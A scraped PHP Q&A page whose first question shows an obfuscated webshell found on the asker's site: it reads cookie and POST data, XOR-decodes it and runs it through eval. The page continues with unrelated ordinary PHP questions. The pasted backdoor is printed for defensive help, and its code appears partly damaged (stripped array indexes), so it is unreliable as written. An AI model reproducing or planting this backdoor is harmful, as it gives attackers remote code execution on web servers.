PHP file injection.. how to solve this? - php

there is always a file on my website that always being upload even though im not the one who upload it.
This is the file
and this is the code when you open it.. any idea how to stop this?
<?php
1.$ilmtik[4] . $ilmtik[26] . $ilmtik[20] . $ilmtik[18] . $ilmtik[12] . $ilmtik[3] . $ilmtik[22] . $ilmtik1 . $ilmtik[5] . $ilmtik[14] . $ilmtik[28] . $ilmtik[5] . $ilmtik[30] . $ilmtik[30] . $ilmtik[4] . $ilmtik[26];
$kkunht[] = $ilmtik[24] . $ilmtik[13];
$kkunht[] = $ilmtik[0];
$kkunht[] = $ilmtik[26] . $ilmtik[17] . $ilmtik[27] . $ilmtik[21] . $ilmtik[32];
$kkunht[] = $ilmtik[10] . $ilmtik[32] . $ilmtik[16] . $ilmtik[23] . $ilmtik[16] . $ilmtik[3] . $ilmtik[2] . $ilmtik[3] . $ilmtik[6] . $ilmtik[32];
$kkunht[] = $ilmtik[3] . $ilmtik[29] . $ilmtik[2] . $ilmtik[8] . $ilmtik[17] . $ilmtik[12] . $ilmtik[3];
$kkunht[] = $ilmtik[10] . $ilmtik[27] . $ilmtik[22] . $ilmtik[10] . $ilmtik[32] . $ilmtik[16];
$kkunht[] = $ilmtik[6] . $ilmtik[16] . $ilmtik[16] . $ilmtik[6] . $ilmtik[25] . $ilmtik[23] . $ilmtik[34] . $ilmtik[3] . $ilmtik[16] . $ilmtik[33] . $ilmtik[3];
$kkunht[] = $ilmtik[10] . $ilmtik[32] . $ilmtik[16] . $ilmtik[8] . $ilmtik[3] . $ilmtik[21];
$kkunht[] = $ilmtik[2] . $ilmtik[6] . $ilmtik[26] . $ilmtik[15];
foreach($kkunht[7]($_COOKIE, $_POST) as $dfmafta => $ozyods) {
function lawlvc($kkunht, $dfmafta, $fanykfj)
{
return $kkunht[6]($kkunht[4]($dfmafta . $kkunht[0], ($fanykfj / $kkunht8) + 1) , 0, $fanykfj);
}
function cuoen($kkunht, $soeasy)
{
return #$kkunht[9]($kkunht1, $soeasy);
}
function mktryk($kkunht, $soeasy)
{
$pcrtw = $kkunht3 % 3;
if (!$pcrtw) {
eval($soeasy1);
exit();
}
}
$ozyods = cuoen($kkunht, $ozyods);
mktryk($kkunht, $kkunht[5]($kkunht[2], $ozyods ^ lawlvc($kkunht, $dfmafta, $kkunht8)));
}
could someone has an idea on this.. thank you :(

there are numerous scanners that will check your site (for example, https://sitecheck.sucuri.net/).
to fix the problem, i would disable php, turn off http access, then ssh into the site and start cleaning up the malware. changing your password isn't a bad idea, but it won't have much impact on a backdoor.

Related

Listing number of rows by group

I have a database with members joining and I am trying to display the number of members from each country.
Here is the code I'm using to show the country flags:
<?
foreach( $sorters as $sortvalue )
if( $sortvalue == '' )
echo '<li> <a href="' . $list_url . $connector . $sortfield .
'=none">None given</a> </li>';
else
echo '<a href="' . $list_url . $connector . $sortfield .
'=' . $sortvalue . '"><img src="' . $flags . str_replace(' ', '_', $sortvalue) . '.gif" title="' . $sortvalue . '" alt="' . $sortvalue . '"></a> ' . $countrynum . ' fans<br>';
}
?>
I have really looked for the answer, and keep seeing the same type of code, but I haven't been able to get it to work for me.
I've tried this:
$countrynum = SELECT COUNT(name) FROM $table WHERE country = $sortvalue;
which I inserted after the foreach statement. This (and every other iteration of this I've tried gives me Parse error: syntax error, unexpected 'COUNT' (T_STRING) in...
The closest I've come to solving this is by using this code (though, I shouldn't have to reconnect to the db should i?):
<?
foreach( $sorters as $sortvalue )
if( $sortvalue == '' )
echo '<li> <a href="' . $list_url . $connector . $sortfield .
'=none">None given</a> </li>';
else
$dbh = new PDO("mysql:host=$hostname;dbname=$db", $username, $password);
foreach($dbh->query('SELECT country, COUNT(*) FROM $table GROUP BY country') as $row) {
echo '<a href="' . $list_url . $connector . $sortfield .
'=' . $sortvalue . '"><img src="' . $flags . str_replace(' ', '_', $sortvalue) . '.gif" title="' . $sortvalue . '" alt="' . $sortvalue . '"></a> ' . $row['COUNT(*)'] . ' fans<br>';
}
?>
This gave me the correct row (member) count, but the same single flag was displayed beside each number instead of the corresponding flag with number of members.
I'm sure this is probably super simple for lots of you, but I'm a newbie who's really trying to learn coding and so far that mostly means cutting, pasting and LOTS of trial and error.
Any assistance (and learning resource suggestions) would be very much appreciated. :)
Since the flag image source is depending on$sorters and $sortvalue, it will be same for all country. Look at the loops. For each $sorters as $sortvalue, the link will be multiple countries but the img source will be same for all.

how to keep php output lines in one line

I just made a phone number to time zone converter and it displays result as:
Requested Phone No.: +1 732 78782722
Country: United States
Expected Region: Newark, New Brunswick
Timezone: America/New_York
Date: 2015-08-05
Time: 01:51:03 am
What I want to do is place all these outputs in a single line.
Here's my output code
if(!empty($record['country_name'])) {
$this->display('<strong>Country:</strong> ' . $record['country_name']);
}
if(!empty($record['city'])) {
$this->display('<strong>Expected Region:</strong> ' . $record['city']);
}
//echo json_encode($date);
if(!empty($record['zone_name'])) {
$this->display('<strong>Timezone:</strong> ' . $record['zone_name']);
$this->display('<h2><strong>Date:</strong> ' . date('Y-m-d') . '</h2>');
$this->display('<h2><strong>Time:</strong> ' . date('H:i:s a') . '</h2>');
}
Thanks for the help.
Try this: If you want to pass that in a variable
if(!((empty($record['country_name']) && empty($record['city']) && empty($record['zone_name'])) {
$var = '<strong>Country:</strong> ' . $record['country_name'] . '<strong>Expected Region:</strong> ' . $record['city'] . '<strong>Timezone:</strong> ' . $record['zone_name']. '<h2><strong>Date:</strong> ' . date('Y-m-d') . '</h2>' . '<h2><strong>Time:</strong> ' . date('H:i:s a') . '</h2>';
}
echo $var;
Or this if you want to pass in your object:
if(!((empty($record['country_name']) && empty($record['city']) && empty($record['zone_name'])) {
$this->display('<strong>Country:</strong> ' . $record['country_name'] . '<strong>Expected Region:</strong> ' . $record['city'] . '<strong>Timezone:</strong> ' . $record['zone_name']. '<h2><strong>Date:</strong> ' . date('Y-m-d') . '</h2>' . '<h2><strong>Time:</strong> ' . date('H:i:s a') . '</h2>');
}
return $this;
You need to create a string variable and concatenate all your output to that string like below:-
$result = ''; // create an empty string
if(!empty($record['country_name']) && !empty($record['city']) && !empty($record['zone_name'])){
$result = '<strong>Country:</strong> ' . $record['country_name'].' <strong>Timezone:</strong> '. $record['city'].' <strong>Timezone:</strong> '.$record['zone_name'].' <h2><strong>Date:</strong> '. date('Y-m-d') . '</h2>'.' <h2><strong>Time:</strong> '. date('H:i:s a') . '</h2>';
}
echo $result; // print output

How would I add another column and populate it?

I know this is way out of left field, but i was wanting to see if anyone could help.
I am wanting to add a column, populating the data from a certain variable (the variable i have yet to discover the name of). This is a plugin for wordpress and the developer wont really help.
Last ditch effort i guess. Here is the code:
}$output.='><tr><th>' . __('Request For', 'wpsc-support-tickets') . '</th><th>'
. __('Status', 'wpsc-support-tickets') . '</th><th>'
. __('Last Reply', 'wpsc-support-tickets')
. '</th><th>' . __('Department', 'wpsc-support-tickets') . '</th></tr>';
I added the last column, "Department".
Now, looking at the following code, i cant figure out how to populate that data (assuming i knew the variable even)
$output .= '<tr><td>
<a href="" onclick="loadTicket(' . $result['primkey'] . ',\'' . $canReopen . '\');
return false;" ';
if ($result['resolution'] == strtolower('open') ) {
$resresolution = __('Open', 'wpsc-support-tickets');
} elseif ($result['resolution'] == strtolower('closed') ) {
$resresolution = __('Closed', 'wpsc-support-tickets');
} else {
$resresolution = $result['resolution'];
}
if ($devOptions['disable_inline_styles'] == 'false') {
$output.='style="border:none;text-decoration:none;"';
}$output.='><img';
if ($devOptions['disable_inline_styles'] == 'false') {
$output.=' style="float:left;border:none;margin-right:5px;"';
}$output.=' src="' . plugins_url('/images/page_edit.png', __FILE__) . '"
alt="' . __('View', 'wpsc-support-tickets') . '" /> ' . base64_decode($result['title']) .
'</a></td><td>' . $resresolution . '</td><td>'
. date_i18n( get_option( 'date_format' ),
$result['last_updated']) . ' ' . __('by', 'wpsc-support-tickets') . '
' . $last_staff_reply . '</td>
</tr>';
again - where might i add the variable for the column "department" if the variable were $department_var?
You can add it to the very end of that large chunk of mess before the closing </tr>...
change
...$last_staff_reply . '</td></tr>';
to
...$last_staff_reply . '</td><td>' . $department_var . '</td></tr>';

google checkout php callback explained

Hi all i don't know if i'm doing this right or not but i can't understand how google checkout works.
I have the php code that sends the XML to the google checkout everything is ok i reach on the checkout process taxes prices shipping is ok.
$_currency = $params['currency'];
$base_domain = 'https://' . (($params['mode'] == 'transaction') ? 'checkout.google.com' : 'sandbox.google.com/checkout');
$base_url = $base_domain . '/cws/v2/Merchant/' . $params['merchantId'] . '/checkout';
// Form XML array with cart items
$_items = '';
$google_products = $this->CI->go_cart->contents();
foreach ($google_products as $k => $v) {
$item_options = '';
if (isset($v['options'])) {
foreach ($v['options'] as $name => $value) {
if (is_array($value)) {
foreach ($value as $item) {
$item_options .= $item;
}
} else {
$item_options .= $value;
}
}
}
$_items .= '<item>' . '<merchant-item-id>' . $v['id'] . '</merchant-item-id>' . '<item-name>' . strip_tags($v['name']) . ' ' . $item_options . '</item-name>' . '<item-description>' . substr(strip_tags($item_options), 0, 299) . '</item-description>' . "<unit-price currency='" . $_currency . "'>" . $v['price'] . '</unit-price>' . '<quantity>' . $v['quantity'] . '</quantity>' . '</item>';
}
$xml_cart = "<?xml version='1.0' encoding='UTF-8'?>
<checkout-shopping-cart xmlns='http://checkout.google.com/schema/2'>
<shopping-cart>
<merchant-private-data>
<additional_data>
<session_id>" . base64_encode($customer['bill_address']["email"] . date('h:i:s')) . "</session_id>
<currency_code>" . $_currency . "</currency_code>
<payment_id>" . base64_encode($customer['bill_address']["email"] . date('h:i:s')) . "</payment_id>
" . $private_ship_data . "
</additional_data>
</merchant-private-data>
<items>" . $_items . "</items>
</shopping-cart>
<checkout-flow-support>
<merchant-checkout-flow-support>
<platform-id>971865505315434</platform-id>
<request-buyer-phone-number>true</request-buyer-phone-number>
<edit-cart-url>" . $edit_cart_url . "</edit-cart-url>
<merchant-calculations>
<merchant-calculations-url>" . $calculation_url . "</merchant-calculations-url>
</merchant-calculations>
<continue-shopping-url>" . $return_url . "</continue-shopping-url>
" . $shippings . $taxes . "
</merchant-checkout-flow-support>
</checkout-flow-support>
</checkout-shopping-cart>";
$signature = $this->fn_calc_hmac_sha1($xml_cart, $params['merchantKey']);
$b64_cart = base64_encode($xml_cart);
$b64_signature = base64_encode($signature);
echo '<form method="post" action="' . $base_url . '" name="BB_BuyButtonForm">
<input type="hidden" name="cart" value="' . $b64_cart . '" />
<input type="hidden" name="signature" value="' . $b64_signature . '" />
<input alt="" src="' . $base_domain . '/buttons/checkout.gif?merchant_id=' . $params['merchantId'] . '&w=160&h=43&style=' . 'white' . '&variant=text&loc=en_US" type="image"/>
</form>';
exit;
}
After i click on submit payment i'm then redirected to a page with successfull message and with a link to return to my website.
I'm wondering how can i check if the payment was or not successfully.
Also there is a callback that i don't know exactly what is supposed to do.
Please help me understand better
I have attached the code below.
Disclaimer: Am not a PHP dev.
Your code above is known as Part 1. Checkout API documented here. It covers how you get your data/cart to Google for Checkout
Part II. Order Processing covers how to get data from Google (into your systems). A tutorial is provided here. This is where you provide a Callback API URL that listens to (waits for) HTTP POSTs from Google and proceed to process the data.

Inside of a ternary php script how do i concatenate a second variable into my string?

Before style="style="color: ' . $rx_event_colors . '" I want to add the $ima variable. it's just a variable with an image inside of the string. Additionally, if you think i would benefit from just adding the
if(!empty($ins_event))
{
echo "<tr><td> <a href='". matry::here(array('event_id'=>$ins_event['id'])) . "'" .
( $ins_event['status'] == 2 ? ' style="color: ' . $rx_event_colors . '">Completed Insurance Event' : '>Active Insurance Event') . "</a></td></tr>";
}
I've tried:
? ' $ima, style="style="color: ' . $rx_event_colors . '"
style="style="color: ' . $ima, $rx_event_colors . '"
style="style="color: ' . ($ima), $rx_event_colors . '"
style="style="color: ' . ($ima), ($rx_event_colors) . '"
with no avail.
I'm assuming $ima is a string. To concatenate strings, use the "."
So in the first part of your ternary, if you'd like to add $ima, simply do this:
' style="color: ' . $ima . $rx_event_colors . '">Completed Insurance Event'
However, I'm confused when you say "[$ima] just a variable with an image inside of the string". Does $ima contain the path to the image itself? If so, it belongs in the SRC attribute of the img tag, not inside the STYLE attribute.
UPDATE:
Because $ima contained the entire img tag, it doesn't belong in the style atrribute. See:
' style="color: ' . $rx_event_colors . '">' . $ima . 'Completed Insurance Event'

Categories